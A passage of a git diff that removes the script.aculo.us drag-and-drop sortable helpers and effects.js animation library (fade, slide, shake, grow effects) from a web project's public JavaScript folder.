-    var options = Object.extend({
-      tag: sortableOptions.tag,
-      treeTag: sortableOptions.treeTag,
-      only: sortableOptions.only,
-      name: element.id,
-      format: sortableOptions.format
-    }, arguments[1] || { });
-
-    var root = {
-      id: null,
-      parent: null,
-      children: [],
-      container: element,
-      position: 0
-    };
-
-    return Sortable._tree(element, options, root);
-  },
-
-  /* Construct a [i] index for a particular node */
-  _constructIndex: function(node) {
-    var index = '';
-    do {
-      if (node.id) index = '[' + node.position + ']' + index;
-    } while ((node = node.parent) != null);
-    return index;
-  },
-
-  sequence: function(element) {
-    element = $(element);
-    var options = Object.extend(this.options(element), arguments[1] || { });
-
-    return $(this.findElements(element, options) || []).map( function(item) {
-      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
-    });
-  },
-
-  setSequence: function(element, new_sequence) {
-    element = $(element);
-    var options = Object.extend(this.options(element), arguments[2] || { });
-
-    var nodeMap = { };
-    this.findElements(element, options).each( function(n) {
-        if (n.id.match(options.format))
-            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
-        n.parentNode.removeChild(n);
-    });
-
-    new_sequence.each(function(ident) {
-      var n = nodeMap[ident];
-      if (n) {
-        n[1].appendChild(n[0]);
-        delete nodeMap[ident];
-      }
-    });
-  },
-
-  serialize: function(element) {
-    element = $(element);
-    var options = Object.extend(Sortable.options(element), arguments[1] || { });
-    var name = encodeURIComponent(
-      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
-
-    if (options.tree) {
-      return Sortable.tree(element, arguments[1]).children.map( function (item) {
-        return [name + Sortable._constructIndex(item) + "[id]=" +
-                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
-      }).flatten().join('&');
-    } else {
-      return Sortable.sequence(element, arguments[1]).map( function(item) {
-        return name + "[]=" + encodeURIComponent(item);
-      }).join('&');
-    }
-  }
-};
-
-// Returns true if child is contained within element
-Element.isParent = function(child, element) {
-  if (!child.parentNode || child == element) return false;
-  if (child.parentNode == element) return true;
-  return Element.isParent(child.parentNode, element);
-};
-
-Element.findChildren = function(element, only, recursive, tagName) {
-  if(!element.hasChildNodes()) return null;
-  tagName = tagName.toUpperCase();
-  if(only) only = [only].flatten();
-  var elements = [];
-  $A(element.childNodes).each( function(e) {
-    if(e.tagName && e.tagName.toUpperCase()==tagName &&
-      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
-        elements.push(e);
-    if(recursive) {
-      var grandchildren = Element.findChildren(e, only, recursive, tagName);
-      if(grandchildren) elements.push(grandchildren);
-    }
-  });
-
-  return (elements.length>0 ? elements.flatten() : []);
-};
-
-Element.offsetSize = function (element, type) {
-  return element['offset' + ((type=='vertical' || type=='height') ? 'Height' : 'Width')];
-};
\ No newline at end of file
diff --git a/public/javascripts/effects.js b/public/javascripts/effects.js
deleted file mode 100644
index 066ee590..00000000
--- a/public/javascripts/effects.js
+++ /dev/null
@@ -1,1123 +0,0 @@
-// script.aculo.us effects.js v1.8.3, Thu Oct 08 11:23:33 +0200 2009
-
-// Copyright (c) 2005-2009 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
-// Contributors:
-//  Justin Palmer (http://encytemedia.com/)
-//  Mark Pilgrim (http://diveintomark.org/)
-//  Martin Bialasinki
-//
-// script.aculo.us is freely distributable under the terms of an MIT-style license.
-// For details, see the script.aculo.us web site: http://script.aculo.us/
-
-// converts rgb() and #xxx to #xxxxxx format,
-// returns self (or first argument) if not convertable
-String.prototype.parseColor = function() {
-  var color = '#';
-  if (this.slice(0,4) == 'rgb(') {
-    var cols = this.slice(4,this.length-1).split(',');
-    var i=0; do { color += parseInt(cols[i]).toColorPart() } while (++i<3);
-  } else {
-    if (this.slice(0,1) == '#') {
-      if (this.length==4) for(var i=1;i<4;i++) color += (this.charAt(i) + this.charAt(i)).toLowerCase();
-      if (this.length==7) color = this.toLowerCase();
-    }
-  }
-  return (color.length==7 ? color : (arguments[0] || this));
-};
-
-/*--------------------------------------------------------------------------*/
-
-Element.collectTextNodes = function(element) {
-  return $A($(element).childNodes).collect( function(node) {
-    return (node.nodeType==3 ? node.nodeValue :
-      (node.hasChildNodes() ? Element.collectTextNodes(node) : ''));
-  }).flatten().join('');
-};
-
-Element.collectTextNodesIgnoreClass = function(element, className) {
-  return $A($(element).childNodes).collect( function(node) {
-    return (node.nodeType==3 ? node.nodeValue :
-      ((node.hasChildNodes() && !Element.hasClassName(node,className)) ?
-        Element.collectTextNodesIgnoreClass(node, className) : ''));
-  }).flatten().join('');
-};
-
-Element.setContentZoom = function(element, percent) {
-  element = $(element);
-  element.setStyle({fontSize: (percent/100) + 'em'});
-  if (Prototype.Browser.WebKit) window.scrollBy(0,0);
-  return element;
-};
-
-Element.getInlineOpacity = function(element){
-  return $(element).style.opacity || '';
-};
-
-Element.forceRerendering = function(element) {
-  try {
-    element = $(element);
-    var n = document.createTextNode(' ');
-    element.appendChild(n);
-    element.removeChild(n);
-  } catch(e) { }
-};
-
-/*--------------------------------------------------------------------------*/
-
-var Effect = {
-  _elementDoesNotExistError: {
-    name: 'ElementDoesNotExistError',
-    message: 'The specified DOM element does not exist, but is required for this effect to operate'
-  },
-  Transitions: {
-    linear: Prototype.K,
-    sinoidal: function(pos) {
-      return (-Math.cos(pos*Math.PI)/2) + .5;
-    },
-    reverse: function(pos) {
-      return 1-pos;
-    },
-    flicker: function(pos) {
-      var pos = ((-Math.cos(pos*Math.PI)/4) + .75) + Math.random()/4;
-      return pos > 1 ? 1 : pos;
-    },
-    wobble: function(pos) {
-      return (-Math.cos(pos*Math.PI*(9*pos))/2) + .5;
-    },
-    pulse: function(pos, pulses) {
-      return (-Math.cos((pos*((pulses||5)-.5)*2)*Math.PI)/2) + .5;
-    },
-    spring: function(pos) {
-      return 1 - (Math.cos(pos * 4.5 * Math.PI) * Math.exp(-pos * 6));
-    },
-    none: function(pos) {
-      return 0;
-    },
-    full: function(pos) {
-      return 1;
-    }
-  },
-  DefaultOptions: {
-    duration:   1.0,   // seconds
-    fps:        100,   // 100= assume 66fps max.
-    sync:       false, // true for combining
-    from:       0.0,
-    to:         1.0,
-    delay:      0.0,
-    queue:      'parallel'
-  },
-  tagifyText: function(element) {
-    var tagifyStyle = 'position:relative';
-    if (Prototype.Browser.IE) tagifyStyle += ';zoom:1';
-
-    element = $(element);
-    $A(element.childNodes).each( function(child) {
-      if (child.nodeType==3) {
-        child.nodeValue.toArray().each( function(character) {
-          element.insertBefore(
-            new Element('span', {style: tagifyStyle}).update(
-              character == ' ' ? String.fromCharCode(160) : character),
-              child);
-        });
-        Element.remove(child);
-      }
-    });
-  },
-  multiple: function(element, effect) {
-    var elements;
-    if (((typeof element == 'object') ||
-        Object.isFunction(element)) &&
-       (element.length))
-      elements = element;
-    else
-      elements = $(element).childNodes;
-
-    var options = Object.extend({
-      speed: 0.1,
-      delay: 0.0
-    }, arguments[2] || { });
-    var masterDelay = options.delay;
-
-    $A(elements).each( function(element, index) {
-      new effect(element, Object.extend(options, { delay: index * options.speed + masterDelay }));
-    });
-  },
-  PAIRS: {
-    'slide':  ['SlideDown','SlideUp'],
-    'blind':  ['BlindDown','BlindUp'],
-    'appear': ['Appear','Fade']
-  },
-  toggle: function(element, effect, options) {
-    element = $(element);
-    effect  = (effect || 'appear').toLowerCase();
-    
-    return Effect[ Effect.PAIRS[ effect ][ element.visible() ? 1 : 0 ] ](element, Object.extend({
-      queue: { position:'end', scope:(element.id || 'global'), limit: 1 }
-    }, options || {}));
-  }
-};
-
-Effect.DefaultOptions.transition = Effect.Transitions.sinoidal;
-
-/* ------------- core effects ------------- */
-
-Effect.ScopedQueue = Class.create(Enumerable, {
-  initialize: function() {
-    this.effects  = [];
-    this.interval = null;
-  },
-  _each: function(iterator) {
-    this.effects._each(iterator);
-  },
-  add: function(effect) {
-    var timestamp = new Date().getTime();
-
-    var position = Object.isString(effect.options.queue) ?
-      effect.options.queue : effect.options.queue.position;
-
-    switch(position) {
-      case 'front':
-        // move unstarted effects after this effect
-        this.effects.findAll(function(e){ return e.state=='idle' }).each( function(e) {
-            e.startOn  += effect.finishOn;
-            e.finishOn += effect.finishOn;
-          });
-        break;
-      case 'with-last':
-        timestamp = this.effects.pluck('startOn').max() || timestamp;
-        break;
-      case 'end':
-        // start effect after last queued effect has finished
-        timestamp = this.effects.pluck('finishOn').max() || timestamp;
-        break;
-    }
-
-    effect.startOn  += timestamp;
-    effect.finishOn += timestamp;
-
-    if (!effect.options.queue.limit || (this.effects.length < effect.options.queue.limit))
-      this.effects.push(effect);
-
-    if (!this.interval)
-      this.interval = setInterval(this.loop.bind(this), 15);
-  },
-  remove: function(effect) {
-    this.effects = this.effects.reject(function(e) { return e==effect });
-    if (this.effects.length == 0) {
-      clearInterval(this.interval);
-      this.interval = null;
-    }
-  },
-  loop: function() {
-    var timePos = new Date().getTime();
-    for(var i=0, len=this.effects.length;i<len;i++)
-      this.effects[i] && this.effects[i].loop(timePos);
-  }
-});
-
-Effect.Queues = {
-  instances: $H(),
-  get: function(queueName) {
-    if (!Object.isString(queueName)) return queueName;
-
-    return this.instances.get(queueName) ||
-      this.instances.set(queueName, new Effect.ScopedQueue());
-  }
-};
-Effect.Queue = Effect.Queues.get('global');
-
-Effect.Base = Class.create({
-  position: null,
-  start: function(options) {
-    if (options && options.transition === false) options.transition = Effect.Transitions.linear;
-    this.options      = Object.extend(Object.extend({ },Effect.DefaultOptions), options || { });
-    this.currentFrame = 0;
-    this.state        = 'idle';
-    this.startOn      = this.options.delay*1000;
-    this.finishOn     = this.startOn+(this.options.duration*1000);
-    this.fromToDelta  = this.options.to-this.options.from;
-    this.totalTime    = this.finishOn-this.startOn;
-    this.totalFrames  = this.options.fps*this.options.duration;
-
-    this.render = (function() {
-      function dispatch(effect, eventName) {
-        if (effect.options[eventName + 'Internal'])
-          effect.options[eventName + 'Internal'](effect);
-        if (effect.options[eventName])
-          effect.options[eventName](effect);
-      }
-
-      return function(pos) {
-        if (this.state === "idle") {
-          this.state = "running";
-          dispatch(this, 'beforeSetup');
-          if (this.setup) this.setup();
-          dispatch(this, 'afterSetup');
-        }
-        if (this.state === "running") {
-          pos = (this.options.transition(pos) * this.fromToDelta) + this.options.from;
-          this.position = pos;
-          dispatch(this, 'beforeUpdate');
-          if (this.update) this.update(pos);
-          dispatch(this, 'afterUpdate');
-        }
-      };
-    })();
-
-    this.event('beforeStart');
-    if (!this.options.sync)
-      Effect.Queues.get(Object.isString(this.options.queue) ?
-        'global' : this.options.queue.scope).add(this);
-  },
-  loop: function(timePos) {
-    if (timePos >= this.startOn) {
-      if (timePos >= this.finishOn) {
-        this.render(1.0);
-        this.cancel();
-        this.event('beforeFinish');
-        if (this.finish) this.finish();
-        this.event('afterFinish');
-        return;
-      }
-      var pos   = (timePos - this.startOn) / this.totalTime,
-          frame = (pos * this.totalFrames).round();
-      if (frame > this.currentFrame) {
-        this.render(pos);
-        this.currentFrame = frame;
-      }
-    }
-  },
-  cancel: function() {
-    if (!this.options.sync)
-      Effect.Queues.get(Object.isString(this.options.queue) ?
-        'global' : this.options.queue.scope).remove(this);
-    this.state = 'finished';
-  },
-  event: function(eventName) {
-    if (this.options[eventName + 'Internal']) this.options[eventName + 'Internal'](this);
-    if (this.options[eventName]) this.options[eventName](this);
-  },
-  inspect: function() {
-    var data = $H();
-    for(property in this)
-      if (!Object.isFunction(this[property])) data.set(property, this[property]);
-    return '#<Effect:' + data.inspect() + ',options:' + $H(this.options).inspect() + '>';
-  }
-});
-
-Effect.Parallel = Class.create(Effect.Base, {
-  initialize: function(effects) {
-    this.effects = effects || [];
-    this.start(arguments[1]);
-  },
-  update: function(position) {
-    this.effects.invoke('render', position);
-  },
-  finish: function(position) {
-    this.effects.each( function(effect) {
-      effect.render(1.0);
-      effect.cancel();
-      effect.event('beforeFinish');
-      if (effect.finish) effect.finish(position);
-      effect.event('afterFinish');
-    });
-  }
-});
-
-Effect.Tween = Class.create(Effect.Base, {
-  initialize: function(object, from, to) {
-    object = Object.isString(object) ? $(object) : object;
-    var args = $A(arguments), method = args.last(),
-      options = args.length == 5 ? args[3] : null;
-    this.method = Object.isFunction(method) ? method.bind(object) :
-      Object.isFunction(object[method]) ? object[method].bind(object) :
-      function(value) { object[method] = value };
-    this.start(Object.extend({ from: from, to: to }, options || { }));
-  },
-  update: function(position) {
-    this.method(position);
-  }
-});
-
-Effect.Event = Class.create(Effect.Base, {
-  initialize: function() {
-    this.start(Object.extend({ duration: 0 }, arguments[0] || { }));
-  },
-  update: Prototype.emptyFunction
-});
-
-Effect.Opacity = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    // make this work on IE on elements without 'layout'
-    if (Prototype.Browser.IE && (!this.element.currentStyle.hasLayout))
-      this.element.setStyle({zoom: 1});
-    var options = Object.extend({
-      from: this.element.getOpacity() || 0.0,
-      to:   1.0
-    }, arguments[1] || { });
-    this.start(options);
-  },
-  update: function(position) {
-    this.element.setOpacity(position);
-  }
-});
-
-Effect.Move = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({
-      x:    0,
-      y:    0,
-      mode: 'relative'
-    }, arguments[1] || { });
-    this.start(options);
-  },
-  setup: function() {
-    this.element.makePositioned();
-    this.originalLeft = parseFloat(this.element.getStyle('left') || '0');
-    this.originalTop  = parseFloat(this.element.getStyle('top')  || '0');
-    if (this.options.mode == 'absolute') {
-      this.options.x = this.options.x - this.originalLeft;
-      this.options.y = this.options.y - this.originalTop;
-    }
-  },
-  update: function(position) {
-    this.element.setStyle({
-      left: (this.options.x  * position + this.originalLeft).round() + 'px',
-      top:  (this.options.y  * position + this.originalTop).round()  + 'px'
-    });
-  }
-});
-
-// for backwards compatibility
-Effect.MoveBy = function(element, toTop, toLeft) {
-  return new Effect.Move(element,
-    Object.extend({ x: toLeft, y: toTop }, arguments[3] || { }));
-};
-
-Effect.Scale = Class.create(Effect.Base, {
-  initialize: function(element, percent) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({
-      scaleX: true,
-      scaleY: true,
-      scaleContent: true,
-      scaleFromCenter: false,
-      scaleMode: 'box',        // 'box' or 'contents' or { } with provided values
-      scaleFrom: 100.0,
-      scaleTo:   percent
-    }, arguments[2] || { });
-    this.start(options);
-  },
-  setup: function() {
-    this.restoreAfterFinish = this.options.restoreAfterFinish || false;
-    this.elementPositioning = this.element.getStyle('position');
-
-    this.originalStyle = { };
-    ['top','left','width','height','fontSize'].each( function(k) {
-      this.originalStyle[k] = this.element.style[k];
-    }.bind(this));
-
-    this.originalTop  = this.element.offsetTop;
-    this.originalLeft = this.element.offsetLeft;
-
-    var fontSize = this.element.getStyle('font-size') || '100%';
-    ['em','px','%','pt'].each( function(fontSizeType) {
-      if (fontSize.indexOf(fontSizeType)>0) {
-        this.fontSize     = parseFloat(fontSize);
-        this.fontSizeType = fontSizeType;
-      }
-    }.bind(this));
-
-    this.factor = (this.options.scaleTo - this.options.scaleFrom)/100;
-
-    this.dims = null;
-    if (this.options.scaleMode=='box')
-      this.dims = [this.element.offsetHeight, this.element.offsetWidth];
-    if (/^content/.test(this.options.scaleMode))
-      this.dims = [this.element.scrollHeight, this.element.scrollWidth];
-    if (!this.dims)
-      this.dims = [this.options.scaleMode.originalHeight,
-                   this.options.scaleMode.originalWidth];
-  },
-  update: function(position) {
-    var currentScale = (this.options.scaleFrom/100.0) + (this.factor * position);
-    if (this.options.scaleContent && this.fontSize)
-      this.element.setStyle({fontSize: this.fontSize * currentScale + this.fontSizeType });
-    this.setDimensions(this.dims[0] * currentScale, this.dims[1] * currentScale);
-  },
-  finish: function(position) {
-    if (this.restoreAfterFinish) this.element.setStyle(this.originalStyle);
-  },
-  setDimensions: function(height, width) {
-    var d = { };
-    if (this.options.scaleX) d.width = width.round() + 'px';
-    if (this.options.scaleY) d.height = height.round() + 'px';
-    if (this.options.scaleFromCenter) {
-      var topd  = (height - this.dims[0])/2;
-      var leftd = (width  - this.dims[1])/2;
-      if (this.elementPositioning == 'absolute') {
-        if (this.options.scaleY) d.top = this.originalTop-topd + 'px';
-        if (this.options.scaleX) d.left = this.originalLeft-leftd + 'px';
-      } else {
-        if (this.options.scaleY) d.top = -topd + 'px';
-        if (this.options.scaleX) d.left = -leftd + 'px';
-      }
-    }
-    this.element.setStyle(d);
-  }
-});
-
-Effect.Highlight = Class.create(Effect.Base, {
-  initialize: function(element) {
-    this.element = $(element);
-    if (!this.element) throw(Effect._elementDoesNotExistError);
-    var options = Object.extend({ startcolor: '#ffff99' }, arguments[1] || { });
-    this.start(options);
-  },
-  setup: function() {
-    // Prevent executing on elements not in the layout flow
-    if (this.element.getStyle('display')=='none') { this.cancel(); return; }
-    // Disable background image during the effect
-    this.oldStyle = { };
-    if (!this.options.keepBackgroundImage) {
-      this.oldStyle.backgroundImage = this.element.getStyle('background-image');
-      this.element.setStyle({backgroundImage: 'none'});
-    }
-    if (!this.options.endcolor)
-      this.options.endcolor = this.element.getStyle('background-color').parseColor('#ffffff');
-    if (!this.options.restorecolor)
-      this.options.restorecolor = this.element.getStyle('background-color');
-    // init color calculations
-    this._base  = $R(0,2).map(function(i){ return parseInt(this.options.startcolor.slice(i*2+1,i*2+3),16) }.bind(this));
-    this._delta = $R(0,2).map(function(i){ return parseInt(this.options.endcolor.slice(i*2+1,i*2+3),16)-this._base[i] }.bind(this));
-  },
-  update: function(position) {
-    this.element.setStyle({backgroundColor: $R(0,2).inject('#',function(m,v,i){
-      return m+((this._base[i]+(this._delta[i]*position)).round().toColorPart()); }.bind(this)) });
-  },
-  finish: function() {
-    this.element.setStyle(Object.extend(this.oldStyle, {
-      backgroundColor: this.options.restorecolor
-    }));
-  }
-});
-
-Effect.ScrollTo = function(element) {
-  var options = arguments[1] || { },
-  scrollOffsets = document.viewport.getScrollOffsets(),
-  elementOffsets = $(element).cumulativeOffset();
-
-  if (options.offset) elementOffsets[1] += options.offset;
-
-  return new Effect.Tween(null,
-    scrollOffsets.top,
-    elementOffsets[1],
-    options,
-    function(p){ scrollTo(scrollOffsets.left, p.round()); }
-  );
-};
-
-/* ------------- combination effects ------------- */
-
-Effect.Fade = function(element) {
-  element = $(element);
-  var oldOpacity = element.getInlineOpacity();
-  var options = Object.extend({
-    from: element.getOpacity() || 1.0,
-    to:   0.0,
-    afterFinishInternal: function(effect) {
-      if (effect.options.to!=0) return;
-      effect.element.hide().setStyle({opacity: oldOpacity});
-    }
-  }, arguments[1] || { });
-  return new Effect.Opacity(element,options);
-};
-
-Effect.Appear = function(element) {
-  element = $(element);
-  var options = Object.extend({
-  from: (element.getStyle('display') == 'none' ? 0.0 : element.getOpacity() || 0.0),
-  to:   1.0,
-  // force Safari to render floated elements properly
-  afterFinishInternal: function(effect) {
-    effect.element.forceRerendering();
-  },
-  beforeSetup: function(effect) {
-    effect.element.setOpacity(effect.options.from).show();
-  }}, arguments[1] || { });
-  return new Effect.Opacity(element,options);
-};
-
-Effect.Puff = function(element) {
-  element = $(element);
-  var oldStyle = {
-    opacity: element.getInlineOpacity(),
-    position: element.getStyle('position'),
-    top:  element.style.top,
-    left: element.style.left,
-    width: element.style.width,
-    height: element.style.height
-  };
-  return new Effect.Parallel(
-   [ new Effect.Scale(element, 200,
-      { sync: true, scaleFromCenter: true, scaleContent: true, restoreAfterFinish: true }),
-     new Effect.Opacity(element, { sync: true, to: 0.0 } ) ],
-     Object.extend({ duration: 1.0,
-      beforeSetupInternal: function(effect) {
-        Position.absolutize(effect.effects[0].element);
-      },
-      afterFinishInternal: function(effect) {
-         effect.effects[0].element.hide().setStyle(oldStyle); }
-     }, arguments[1] || { })
-   );
-};
-
-Effect.BlindUp = function(element) {
-  element = $(element);
-  element.makeClipping();
-  return new Effect.Scale(element, 0,
-    Object.extend({ scaleContent: false,
-      scaleX: false,
-      restoreAfterFinish: true,
-      afterFinishInternal: function(effect) {
-        effect.element.hide().undoClipping();
-      }
-    }, arguments[1] || { })
-  );
-};
-
-Effect.BlindDown = function(element) {
-  element = $(element);
-  var elementDimensions = element.getDimensions();
-  return new Effect.Scale(element, 100, Object.extend({
-    scaleContent: false,
-    scaleX: false,
-    scaleFrom: 0,
-    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
-    restoreAfterFinish: true,
-    afterSetup: function(effect) {
-      effect.element.makeClipping().setStyle({height: '0px'}).show();
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.undoClipping();
-    }
-  }, arguments[1] || { }));
-};
-
-Effect.SwitchOff = function(element) {
-  element = $(element);
-  var oldOpacity = element.getInlineOpacity();
-  return new Effect.Appear(element, Object.extend({
-    duration: 0.4,
-    from: 0,
-    transition: Effect.Transitions.flicker,
-    afterFinishInternal: function(effect) {
-      new Effect.Scale(effect.element, 1, {
-        duration: 0.3, scaleFromCenter: true,
-        scaleX: false, scaleContent: false, restoreAfterFinish: true,
-        beforeSetup: function(effect) {
-          effect.element.makePositioned().makeClipping();
-        },
-        afterFinishInternal: function(effect) {
-          effect.element.hide().undoClipping().undoPositioned().setStyle({opacity: oldOpacity});
-        }
-      });
-    }
-  }, arguments[1] || { }));
-};
-
-Effect.DropOut = function(element) {
-  element = $(element);
-  var oldStyle = {
-    top: element.getStyle('top'),
-    left: element.getStyle('left'),
-    opacity: element.getInlineOpacity() };
-  return new Effect.Parallel(
-    [ new Effect.Move(element, {x: 0, y: 100, sync: true }),
-      new Effect.Opacity(element, { sync: true, to: 0.0 }) ],
-    Object.extend(
-      { duration: 0.5,
-        beforeSetup: function(effect) {
-          effect.effects[0].element.makePositioned();
-        },
-        afterFinishInternal: function(effect) {
-          effect.effects[0].element.hide().undoPositioned().setStyle(oldStyle);
-        }
-      }, arguments[1] || { }));
-};
-
-Effect.Shake = function(element) {
-  element = $(element);
-  var options = Object.extend({
-    distance: 20,
-    duration: 0.5
-  }, arguments[1] || {});
-  var distance = parseFloat(options.distance);
-  var split = parseFloat(options.duration) / 10.0;
-  var oldStyle = {
-    top: element.getStyle('top'),
-    left: element.getStyle('left') };
-    return new Effect.Move(element,
-      { x:  distance, y: 0, duration: split, afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x: -distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x:  distance*2, y: 0, duration: split*2,  afterFinishInternal: function(effect) {
-    new Effect.Move(effect.element,
-      { x: -distance, y: 0, duration: split, afterFinishInternal: function(effect) {
-        effect.element.undoPositioned().setStyle(oldStyle);
-  }}); }}); }}); }}); }}); }});
-};
-
-Effect.SlideDown = function(element) {
-  element = $(element).cleanWhitespace();
-  // SlideDown need to have the content of the element wrapped in a container element with fixed height!
-  var oldInnerBottom = element.down().getStyle('bottom');
-  var elementDimensions = element.getDimensions();
-  return new Effect.Scale(element, 100, Object.extend({
-    scaleContent: false,
-    scaleX: false,
-    scaleFrom: window.opera ? 0 : 1,
-    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
-    restoreAfterFinish: true,
-    afterSetup: function(effect) {
-      effect.element.makePositioned();
-      effect.element.down().makePositioned();
-      if (window.opera) effect.element.setStyle({top: ''});
-      effect.element.makeClipping().setStyle({height: '0px'}).show();
-    },
-    afterUpdateInternal: function(effect) {
-      effect.element.down().setStyle({bottom:
-        (effect.dims[0] - effect.element.clientHeight) + 'px' });
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.undoClipping().undoPositioned();
-      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom}); }
-    }, arguments[1] || { })
-  );
-};
-
-Effect.SlideUp = function(element) {
-  element = $(element).cleanWhitespace();
-  var oldInnerBottom = element.down().getStyle('bottom');
-  var elementDimensions = element.getDimensions();
-  return new Effect.Scale(element, window.opera ? 0 : 1,
-   Object.extend({ scaleContent: false,
-    scaleX: false,
-    scaleMode: 'box',
-    scaleFrom: 100,
-    scaleMode: {originalHeight: elementDimensions.height, originalWidth: elementDimensions.width},
-    restoreAfterFinish: true,
-    afterSetup: function(effect) {
-      effect.element.makePositioned();
-      effect.element.down().makePositioned();
-      if (window.opera) effect.element.setStyle({top: ''});
-      effect.element.makeClipping().show();
-    },
-    afterUpdateInternal: function(effect) {
-      effect.element.down().setStyle({bottom:
-        (effect.dims[0] - effect.element.clientHeight) + 'px' });
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.hide().undoClipping().undoPositioned();
-      effect.element.down().undoPositioned().setStyle({bottom: oldInnerBottom});
-    }
-   }, arguments[1] || { })
-  );
-};
-
-// Bug in opera makes the TD containing this element expand for a instance after finish
-Effect.Squish = function(element) {
-  return new Effect.Scale(element, window.opera ? 1 : 0, {
-    restoreAfterFinish: true,
-    beforeSetup: function(effect) {
-      effect.element.makeClipping();
-    },
-    afterFinishInternal: function(effect) {
-      effect.element.hide().undoClipping();
-    }
-  });
-};
-
-Effect.Grow = function(element) {
-  element = $(element);
-  var options = Object.extend({
-    direction: 'center',
-    moveTransition: Effect.Transitions.sinoidal,
-    scaleTransition: Effect.Transitions.sinoidal,
-    opacityTransition: Effect.Transitions.full
-  }, arguments[1] || { });
-  var oldStyle = {
-    top: element.style.top,
-    left: element.style.left,
-    height: element.style.height,
-    width: element.style.width,
-    opacity: element.getInlineOpacity() };
-
-  var dims = element.getDimensions();
-  var initialMoveX, initialMoveY;
-  var moveX, moveY;
-
-  switch (options.direction) {
-    case 'top-left':
-      initialMoveX = initialMoveY = moveX = moveY = 0;
-      break;
-    case 'top-right':
-      initialMoveX = dims.width;
-      initialMoveY = moveY = 0;
-      moveX = -dims.width;
-      break;
-    case 'bottom-left':
-      initialMoveX = moveX = 0;
-      initialMoveY = dims.height;
-      moveY = -dims.height;
-      break;
-    case 'bottom-right':
-      initialMoveX = dims.width;
-      initialMoveY = dims.height;
-      moveX = -dims.width;
-      moveY = -dims.height;
-      break;
-    case 'center':
-      initialMoveX = dims.width / 2;
-      initialMoveY = dims.height / 2;
-      moveX = -dims.width / 2;
-      moveY = -dims.height / 2;
-      break;
-  }
-
-  return new Effect.Move(element, {
-    x: initialMoveX,
-    y: initialMoveY,
-    duration: 0.01,
-    beforeSetup: function(effect) {
-      effect.element.hide().makeClipping().makePositioned();
-    },
-    afterFinishInternal: function(effect) {
-      new Effect.Parallel(
-        [ new Effect.Opacity(effect.element, { sync: true, to: 1.0, from: 0.0, transition: options.opacityTransition }),
-          new Effect.Move(effect.element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition }),
-          new Effect.Scale(effect.element, 100, {
-            scaleMode: { originalHeight: dims.height, originalWidth: dims.width },
-            sync: true, scaleFrom: window.opera ? 1 : 0, transition: options.scaleTransition, restoreAfterFinish: true})
-        ], Object.extend({
-             beforeSetup: function(effect) {
-               effect.effects[0].element.setStyle({height: '0px'}).show();
-             },
-             afterFinishInternal: function(effect) {
-               effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle);
-             }
-           }, options)
-      );
-    }
-  });
-};
-
-Effect.Shrink = function(element) {
-  element = $(element);
-  var options = Object.extend({
-    direction: 'center',
-    moveTransition: Effect.Transitions.sinoidal,
-    scaleTransition: Effect.Transitions.sinoidal,
-    opacityTransition: Effect.Transitions.none
-  }, arguments[1] || { });
-  var oldStyle = {
-    top: element.style.top,
-    left: element.style.left,
-    height: element.style.height,
-    width: element.style.width,
-    opacity: element.getInlineOpacity() };
-
-  var dims = element.getDimensions();
-  var moveX, moveY;
-
-  switch (options.direction) {
-    case 'top-left':
-      moveX = moveY = 0;
-      break;
-    case 'top-right':
-      moveX = dims.width;
-      moveY = 0;
-      break;
-    case 'bottom-left':
-      moveX = 0;
-      moveY = dims.height;
-      break;
-    case 'bottom-right':
-      moveX = dims.width;
-      moveY = dims.height;
-      break;
-    case 'center':
-      moveX = dims.width / 2;
-      moveY = dims.height / 2;
-      break;
-  }
-
-  return new Effect.Parallel(
-    [ new Effect.Opacity(element, { sync: true, to: 0.0, from: 1.0, transition: options.opacityTransition }),
-      new Effect.Scale(element, window.opera ? 1 : 0, { sync: true, transition: options.scaleTransition, restoreAfterFinish: true}),
-      new Effect.Move(element, { x: moveX, y: moveY, sync: true, transition: options.moveTransition })
-    ], Object.extend({
-         beforeStartInternal: function(effect) {
-           effect.effects[0].element.makePositioned().makeClipping();
-         },
-         afterFinishInternal: function(effect) {
-           effect.effects[0].element.hide().undoClipping().undoPositioned().setStyle(oldStyle); }
-       }, options)
-  );
-};
-
-Effect.Pulsate = function(element) {
-  element = $(element);
-  var options    = arguments[1] || { },
-    oldOpacity = element.getInlineOpacity(),
-    transition = options.transition || Effect.Transitions.linear,
-    reverser   = function(pos){
-      return 1 - transition((-Math.cos((pos*(options.pulses||5)*2)*Math.PI)/2) + .5);
-    };
-
-  return new Effect.Opacity(element,
-    Object.extend(Object.extend({  duration: 2.0, from: 0,
-      afterFinishInternal: function(effect) { effect.element.setStyle({opacity: oldOpacity}); }
-    }, options), {transition: reverser}));
-};
-
-Effect.Fold = function(element) {
-  element = $(element);
-  var oldStyle = {
-    top: element.style.top,
-    left: element.style.left,
-    width: element.style.width,
-    height: element.style.height };
-  element.makeClipping();
-  return new Effect.Scale(element, 5, Object.extend({
-    scaleContent: false,
-    scaleX: false,
-    afterFinishInternal: function(effect) {
-    new Effect.Scale(element, 1, {
-      scaleContent: false,
-      scaleY: false,
-      afterFinishInternal: function(effect) {
